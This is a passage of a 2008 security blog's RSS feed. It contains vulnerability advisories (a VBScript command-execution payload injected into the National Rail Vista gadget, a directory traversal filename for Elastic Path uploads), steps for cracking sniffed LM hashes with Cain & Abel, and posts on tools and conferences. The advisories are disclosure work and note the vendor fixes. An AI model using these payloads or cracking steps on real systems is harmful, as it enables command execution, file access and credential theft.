<li>Resulting in a Pwdump compliant output file called <code>smb_sniffed.pw3</code></li>
<li>Switch to Cain &amp; Abel for the hash cracking</li>
<li>Select the hash you want to crack, right click and select Cryptanalysis Attack-&gt;HALFLM Hashes + challenge-&gt;via RainbowTables, add the tables, and crack it.</li>
</ul>
<h3>Some Other Things To Play With In The Same Eenvironment:</h3>
<p><a href="http://str0ke213.tradebit.com/pub/8/67.swf">LSO: MSFweb 3.0 part 2</a> (via Milw0rm videos)</p>
]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2008/06/24/lm-challenge-ettercap-filter/feed/</wfw:commentRss>
		</item>
		<item>
		<title>dradis v1.2 - now with one-click installer</title>
		<link>http://usefulfor.com/security/2008/06/13/dradis-v12-now-with-one-click-installer/</link>
		<comments>http://usefulfor.com/security/2008/06/13/dradis-v12-now-with-one-click-installer/#comments</comments>
		<pubDate>Fri, 13 Jun 2008 10:16:25 +0000</pubDate>
		<dc:creator>etd</dc:creator>
		
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/uncategorized/dradis-v12-now-with-one-click-installer</guid>
		<description><![CDATA[
In adition to the changes released on the 4th of April, yesterday we released a Windows one-click installer for dradis.
The summary of the features of the v1.2 release:

in the client:

export to XML module is now part of the standard module set.
a new implementation of the command line parser: now it is possible to use single [...]]]></description>
			<content:encoded><![CDATA[<p><a href='http://dradis.nomejortu.com/download.html#windows'><img src="http://usefulfor.com/security/files/2008/06/nsis.png" alt="dradis Windows one-click installer icon" width="48" height="48" class="alignright size-full wp-image-68" /></a><br />
In adition to the changes released on the 4<sup>th</sup> of April, yesterday we released a Windows <a href="http://dradis.nomejortu.com/download.html#windows">one-click installer</a> for <strong>dradis</strong>.</p>
<p>The summary of the features of the v1.2 release:</p>
<ul>
<li>in the client:
<ul>
<li>export to XML module is now part of the standard module set.</li>
<li>a new implementation of the command line parser: now it is possible to use single and double quotes to pass multi-word arguments to the different commands.</li>
<li>fixed the window.rb:159 bug.</li>
</ul>
</li>
<li>in the server:
<ul>
<li>a slightly less annoying implementation of the web interface <em>auto refresh</em> functionality.</li>
<li>the services added through the web interface can have a name now <img src='http://usefulfor.com/security/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
<li>simple prevention against embedded XSS.</li>
</ul>
</li>
</ul>
<p>You can also download the platform-independent ruby source in the <a href="http://dradis.nomejortu.com/download.html">download</a> section of the site.</p>
<p class="aligncenter"><a href='http://dradis.nomejortu.com/'><img src="http://usefulfor.com/security/files/2008/06/dradis-banner.png" alt="dradis banner. click to go to dradis home" width="400" height="74" class="aligncenter size-full wp-image-67" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2008/06/13/dradis-v12-now-with-one-click-installer/feed/</wfw:commentRss>
		</item>
		<item>
		<title>middleware and me (part 1)</title>
		<link>http://usefulfor.com/security/2008/05/06/middleware-and-me-part-1/</link>
		<comments>http://usefulfor.com/security/2008/05/06/middleware-and-me-part-1/#comments</comments>
		<pubDate>Tue, 06 May 2008 18:31:11 +0000</pubDate>
		<dc:creator>editor</dc:creator>
		
		<category><![CDATA[hack-fu]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/security/middleware-and-me-part-1</guid>
		<description><![CDATA[hack-fu by: rux0r
This post is the first in a series on the subject of enterprise messaging and in particular on IBM&#8217;s flavour of it. The objective of these posts will be to remove some of the confusion about its purpose, the technologies and the methods of securing it. Hopefully this will help both security testers [...]]]></description>
			<content:encoded><![CDATA[<p><strong>hack-fu by</strong>: rux0r</p>
<p>This post is the first in a series on the subject of enterprise messaging and in particular on IBM&#8217;s flavour of it. The objective of these posts will be to remove some of the confusion about its purpose, the technologies and the methods of securing it. Hopefully this will help both security testers and other interested parties to feel confident about this important area of IT security.<br />
<span id="more-50"></span><br />
When it comes to security testing a business application, how comfortable are you? The answer to that question will probably depend on a number of factors including the following: -</p>
<ul>
<li>Is it an internal or external test?</li>
<li>What technologies are involved?</li>
<li>What is the business process the application is used for?</li>
</ul>
<p>Depending on the requirements for testing we might only be asked to look at the web front-end to the application. Or we might be asked to do an internal test of the entire application infrastructure. However, in reality there are lots of business applications that look like the following: -</p>
<p class="aligncenter"><img class="aligncenter size-full wp-image-69" src="http://usefulfor.com/security/files/2008/06/mq_image1_496.png" alt="Diagram that shows a question mark between a web server and a database" width="496" height="166" /></p>
<p>So why is the big question mark in the middle of the picture? In reality that is a gap in most testing methodologies or in the requirements provided to testers by their clients. In reality the question mark could represent any of the following: -</p>
<ul>
<li>The bit of the process the client didn&#8217;t ask to be tested.</li>
<li>The part of the application I don&#8217;t understand.</li>
<li>The software products and solutions that don&#8217;t appear in books on hacking or security testing.</li>
<li>A cloud through which data passes that I don&#8217;t need to understand.</li>
</ul>
<p>Therefore, if we want to test a business application against its security requirements we have a big black hole. We know what the risks associated with the web application and database are? We know how to test the web server and database but what sits in the middle. In an enterprise environment the answer is usually as follows: -</p>
<p class="aligncenter"><img class="aligncenter size-full wp-image-70" src="http://usefulfor.com/security/files/2008/06/mq_image2_496.png" alt="Diagram that shows how middleware sits between the frontend and the backend servers" width="496" height="166" /></p>
<p>So what is this mystical <em>middleware</em> that we hear so much about but never get to see? In the majority of cases it will involve a messaging or transport application whose responsibility it is to get data to the application that needs it. There are lots of such applications available including <a href="http://www.microsoft.com/windowsserver2003/technologies/msmq/default.mspx">Microsoft Message Queuing</a> (MSMQ), <a href="http://www.sun.com/software/products/message_queue/index.xml">Sun Message Queue</a>, <a href="http://www.ibm.com/software/integration/wmq/">IBM Websphere MQ</a> and <a href="http://activemq.apache.org">ActiveMQ</a>.</p>
<p>So if these products exist, how do we test them? Unfortunately I can&#8217;t provide an all encompassing answer for that question, but I can tell you all about one of these products, namely <strong>IBM&#8217;s Websphere MQ</strong>. So whether you are interested in Websphere MQ itself, security testing in general or just the risks associated with messaging applications you should have a read of my new white paper on the subject:<br />
<a href="http://www.mwrinfosecurity.com/publications/mwri_websphere-mq-security-white-paper-part1_2008-05-06.pdf">Websphere MQ Security White Paper</a> (<a href="http://usefulfor.com/security/files/2008/06/mwri_websphere-mq-security-white-paper-part1_2008-05-06.pdf">mirror #1</a>).</p>
<p>The white paper is the first of a series of documents that I intend to produce on the subject and covers a wide range of issues associated with both the product and messaging applications in general. All audiences are catered for, from those with managerial roles in IT through to integrators and security testers. I hope you find the document interesting and if you would like more information on the subject be sure to check out the slides from my Defcon presentation last year: <a href="http://www.mwrinfosecurity.com/publications/mwri_ibm-mq-security-presentation-defcon15_2007-08-03.pdf">MQ Jumping - Defcon 15 Presentation</a> (<a href="http://usefulfor.com/security/files/2008/06/mwri_ibm-mq-security-presentation-defcon15_2007-08-03.pdf">mirror #1</a>).</p>
<p>On the next part of this series of blog posts I will be talking about the security architecture of <strong>Websphere MQ</strong>, stay tuned <img src='http://usefulfor.com/security/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></p>
]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2008/05/06/middleware-and-me-part-1/feed/</wfw:commentRss>
		</item>
		<item>
		<title>National Rail Live Enquiries Departure Board Gadget - Script Injection Vulnerability</title>
		<link>http://usefulfor.com/security/2008/04/24/national-rail-live-enquiries-departure-board-gadget-script-injection/</link>
		<comments>http://usefulfor.com/security/2008/04/24/national-rail-live-enquiries-departure-board-gadget-script-injection/#comments</comments>
		<pubDate>Thu, 24 Apr 2008 14:15:20 +0000</pubDate>
		<dc:creator>rdv</dc:creator>
		
		<category><![CDATA[Advisories]]></category>

		<guid isPermaLink="false">http://usefulfor.com/security/?p=74</guid>
		<description><![CDATA[Windows Vista includes the “Windows Sidebar”. This new feature allows users to display ‘gadgets’ on the sidebar and on the Windows desktop. Gadgets are small applications containing HTML, XML and JavaScript.
The National Rail Live Departure Board Sidebar gadget provides users with the ability to view real time train departure boards for all main railway stations [...]]]></description>
			<content:encoded><![CDATA[<p>Windows Vista includes the “Windows Sidebar”. This new feature allows users to display ‘gadgets’ on the sidebar and on the Windows desktop. Gadgets are small applications containing HTML, XML and JavaScript.</p>
<p>The National Rail Live Departure Board Sidebar gadget provides users with the ability to view real time train departure boards for all main railway stations in the UK. The gadget allows users to choose a “Start Station” and a “Destination Station” in order to provide them with the most up to date live departure information for their chosen trip.  The gadget requests this information from a web server, which responds to the gadget with live departure board information for the user’s chosen rail journey.</p>
<p>An attacker capable of intercepting the web server response to the gadget request could modify that response such that a script was injected and then run on the user’s system. The injected script would run under the privileges of the currently logged in user, allowing the remote attacker to execute commands on the target system. An attacker successfully exploiting this vulnerability could execute arbitrary commands in the context of the current logged in user.<span id="more-74"></span></p>
<p class="MWRINormal">The following script could be injected into the body area of the response returned by the web server: -</p>
<div class="hl-surround" style="height:28px;"><div class="hl-main"><pre>&lt;script SRC='vbscript:System.Shell.execute(&quot;cmd.exe&quot;, &quot;/k whoami&quot;)'&gt;</pre></div></div>
<p class="MWRINormal">In this case this would result in the “whoami” command being executed on the user’s system, as can be seen in the screenshot below:-</p>
<p class="MWRINormal" style="text-align: left"><a href="http://usefulfor.com/security/files/2008/06/national-rails2.jpg"><img class="aligncenter size-full wp-image-75" src="http://usefulfor.com/security/files/2008/06/national-rails2.jpg" alt="" width="500" height="309" /></a><a href="http://usefulfor.com/security/files/2008/06/national-rails.jpg"> </a></p>
<p class="MWRINormal">An attacker could alter this code to execute commands of their choosing which, depending on the logged on user’s privileges, could result in the remote compromise of the target system.</p>
<p>It should be noted that for this attack to be exploited an attacker would need to be able to intercept and modify network traffic between the remote web server supplying the departure information and the targeted user.</p>
<p>The National Rail Live Departure Board gadget version 1.0 was confirmed to be affected to this vulnerability. The vendor has addressed this vulnerability and implemented a fix in <a href="http://gallery.live.com/LiveItemDetail.aspx?li=aef90e44-18cf-4246-b1d9-4ab83e0e13db">version 1.1</a></p>
<p>The full security advisory can be found here:- <a href="http://usefulfor.com/security/files/2008/06/mwri_national-rail-enquiries-gadget-advisory_2008-04-24.pdf">[1]</a> <a href="http://www.mwrinfosecurity.com/publications/mwri_national-rail-enquiries-gadget-advisory_2008-04-24.pdf">[2]</a></p>
<p>The whitepaper <a href="http://usefulfor.com/security/files/2008/06/mwri_sidebar-gadgets_2007-09-25.pdf">Considerations for the Secure Rollout of Sidebar Gadgets on Windows Vista</a> is a recommended reading if you are interested in the security of gadgets.</p>
]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2008/04/24/national-rail-live-enquiries-departure-board-gadget-script-injection/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Black Hat Europe 2008</title>
		<link>http://usefulfor.com/security/2008/04/02/black-hat-europe-2008/</link>
		<comments>http://usefulfor.com/security/2008/04/02/black-hat-europe-2008/#comments</comments>
		<pubDate>Wed, 02 Apr 2008 08:46:02 +0000</pubDate>
		<dc:creator>etd</dc:creator>
		
		<category><![CDATA[Events]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/?p=47</guid>
		<description><![CDATA[
I have just arrived from Black Hat Europe 2008 in Amsterdam (this one, not this one). It has been a cool experience, not exactly what I expected but really interesting.
Briefings were held during the 27th and 28th of March, and the presentations are available for download. If you want to see what the chef recommends [...]]]></description>
			<content:encoded><![CDATA[<p class="aligncenter"><img class="aligncenter size-full wp-image-66" src="http://usefulfor.com/security/files/2008/06/bh2008.jpg" alt="Black Hat Europe brigings logo" width="354" height="223" /></p>
<p>I have just arrived from <a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-main.html">Black Hat Europe 2008</a> in Amsterdam (<a href="http://en.wikipedia.org/wiki/Amsterdam">this one</a>, not <a href="http://en.wikipedia.org/wiki/De_Wallen">this one</a>). It has been a cool experience, not exactly what I expected but really interesting.</p>
<p>Briefings were held during the 27<sup>th</sup> and 28<sup>th</sup> of March, and the <a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html">presentations</a> are available for download. If you want to see what the <em>chef</em> recommends just keep reading&#8230; <img src='http://usefulfor.com/security/wp-includes/images/smilies/icon_rolleyes.gif' alt=':roll:' class='wp-smiley' /> </p>
<p><span id="more-48"></span></p>
<p>Here is the list of presentations I attended:-</p>
<h3>Day 1</h3>
<ul>
<li>The Keynote by Ian O. Angell: <em>Digital Security: a Risky Business</em>.</li>
<li><a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html#Petkov">Client-side Security</a> by Petko D. Petkov.</li>
<li><a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html#DeHaas">Side Channel Analysis on Embedded Systems</a> by Job DeHaas.</li>
<li><a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html#Breese">CrackStation</a> by Nick Breese.</li>
<li><a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html#Thiel">Exposing Vulnerabilities in Media Software</a> by David Thiel.</li>
<li><a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html#Ollam">The Fundamentals of Physical Security</a> by Deviant Ollam.</li>
</ul>
<h3>Day 2</h3>
<ul>
<li><a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html#Niemela">Mobile Phone Spying Tools</a> by Jarno Niemela.</li>
<li><a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html#Alonso">LDAP Injection &amp; Blind LDAP Injection</a> by Chema Alonso &amp; Jose Parada Gimeo.</li>
<li><a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html#Weston">DTRACE: The Reverse Engineer&#8217;s Unexpected Swiss Army Knife</a> by David Weston &amp; Tiller Beauchamp.</li>
<li><a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html#HultonD">Intercepting Mobile Phone/GSM Traffic</a> by David Hulton &amp; Steve.</li>
<li><a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html#Thumann">Hacking Second Life</a> by Michael Thumann.</li>
<li><a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html#Temmingh">Investigating Individuals and Organizations Using Open Source Intelligence</a> by Roelof Temmingh &amp; Chris B</li>
</ul>
<h3>Favourites</h3>
<ol>
<li><strong>Intercepting Mobile Phone/GSM Traffic</strong>. Mind blowing, these guys have been researching the topic for 5 years and they have found a software/hardware combination that makes GSM cracking a piece of cake.</li>
<li>Investigating Individuals and Organizations Using Open Source Intelligence. <a href="http://www.paterva.com/">Paterva</a> is a nice tool, but the most interesting/scary part of the presentation was the little brainstorming session by Roelof Temmingh on how datamining, online presence and the sources of information may evolve in the future.</li>
<li>The Fundamentals of Physical Security. <em>All your locks are belong to us</em>.</li>
</ol>
<p>There were more <em>business</em> people than <em>nerds</em> but more nerds than girls :). Google was recruiting, Microsoft was nowhere to be seen and there was punch and pie all day long.</p>
]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2008/04/02/black-hat-europe-2008/feed/</wfw:commentRss>
		</item>
		<item>
		<title>security advisory: Elastic Path Unrestricted Filesystem Access</title>
		<link>http://usefulfor.com/security/2008/03/10/security-advisory-elastic-path-unrestricted-filesystem-access/</link>
		<comments>http://usefulfor.com/security/2008/03/10/security-advisory-elastic-path-unrestricted-filesystem-access/#comments</comments>
		<pubDate>Mon, 10 Mar 2008 09:27:34 +0000</pubDate>
		<dc:creator>etd</dc:creator>
		
		<category><![CDATA[Advisories]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/?p=37</guid>
		<description><![CDATA[Elastic Path is a popular Java e-commerce platform for building online stores and shopping carts. Elastic Path consists of both a shopping front end where customers can browse and choose the products and a managing backend for administration purposes.
Users of the administrative interface can be granted different levels of access. Research revealed that users with [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.elasticpath.com/">Elastic Path</a> is a popular Java e-commerce platform for building online stores and shopping carts. Elastic Path consists of both a shopping front end where customers can browse and choose the products and a managing backend for administration purposes.</p>
<p>Users of the administrative interface can be granted different levels of access. Research revealed that users with upload/download privileges could abuse them to gain access to arbitrary files in the remote system (read the security advisory - <a href="http://www.mwrinfosecurity.com/publications/mwri_elastic-path-arbitrary-file-system-access_2008-02-22.pdf">mirror #1</a>, <a href="http://usefulfor.com/security/files/2008/06/mwri_elastic-path-arbitrary-file-system-access_2008-02-22.pdf">mirror #2</a>).</p>
<p><strong>update</strong>: a link to the patch is available in <a href="http://developer.elasticpath.com/entry!default.jspa?categoryID=4&amp;externalID=1334">Elastic Path Developer&#8217;s site</a> (thanks to <em>d-dub</em>).<br />
<strong>update</strong>: this vulnerability has been assigned the following <acronym title="Common Vulnerabilities and Exposures">CVE</acronym> number: <a href="http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-1606">CVE-2008-1606</a>.<br />
<span id="more-46"></span></p>
<h3>Arbitrary File Download</h3>
<p>The script used by Elastic Path when the user requests the download of a file was found to be vulnerable to directory traversal attacks. Insufficient validation in the <strong>file</strong> parameter could enable an attacker to download arbitrary files from the remote system.</p>
<h3>Arbitrary File Upload</h3>
<p>The script used by Elastic Path to handle the upload file request was found not to apply sufficient validation to the user input. As a result an attacker could use the <code>importData.jsp</code> file to upload arbitrary files to arbitrary locations in the remote web server.</p>
<p>The input validation filters can be bypassed by submitting a specially crafted file name such as:</p>
<div class="hl-surround" style="height:28px;"><div class="hl-main"><pre>../..\..\..\Browser.jsp</pre></div></div>
<h3>File System Browse</h3>
<p>Elastic Path provides a script to manage the resource files associated with the products of the shop (<code>fileManager.jsp</code>). Source code inspection revealed that insufficient validation in the <strong>dir</strong> parameter could allow an attacker browse through the contents of arbitrary locations of the remote drive.</p>
<h3>Dependencies</h3>
<p>In order to successfully exploit the attack vector described the user must be logged into the Elastic Path manager application. In addition to this, the logged in user should have download or upload rights to exploit the arbitrary file download and upload vulnerabilities described in this document.</p>
<h3>Recommendations</h3>
<p>It is recommended that all installations of the software be upgraded to a secure version when this is made available by the vendor.</p>
<p>To reduce the level of risk to which users of the software are exposed it is further advised that the application server be run under a system user account with the lowest level of privilege possible.</p>
<p>It is also recommended that, where possible, the Elastic Path manager application should be subject to network level filtering such that only trusted IP addresses can communicate with the service. It should be noted that this is a generic recommendation and is not specific to this technology.</p>
]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2008/03/10/security-advisory-elastic-path-unrestricted-filesystem-access/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
